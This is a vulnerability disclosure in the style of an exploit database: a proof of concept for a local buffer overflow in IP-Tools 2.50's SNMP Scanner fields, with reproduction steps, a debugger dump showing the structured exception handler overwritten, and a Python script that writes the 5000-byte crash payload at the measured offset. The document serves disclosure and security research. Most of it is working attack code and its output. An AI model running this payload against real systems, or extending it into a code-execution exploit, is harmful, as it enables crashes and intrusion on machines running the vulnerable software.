IP-Tools 2.50 – Local Buffer Overflow (PoC)
# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH overwritten Crash PoC # Discovery by: Rafael Pedrero # Discovery Date: 2018-12-20 # Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm # Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm / https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download/ip-tools.exe # Tested Version: 2.50 # Tested on: Windows XP SP3 # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow # Steps to Produce the Crash: # 1.- Run IP-Tools.exe # 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to clipboard # 3.- Paste the content into the field: 'From Addr' and 'To Addr' # 4.- Click 'Start' button and you will see a crash. ''' SEH chain of main thread Address SE handler 0012F4B4 43434343 42424242 *** CORRUPT ENTRY *** EAX 0012F4CC ECX 00000000 EDX 44444444 EBX 0012F4CC ESP 0012E490 EBP 0012F4DC ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ESI 0012E4A4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EDI 02256720 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EIP 00403F70 IP-TOOLS.00403F70 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDD000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 ''' #!/usr/bin/env python junk = "\x41" * 4112 crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8) f = open ("IPTools_Crash.txt", "w") f.write(crash) f.close() |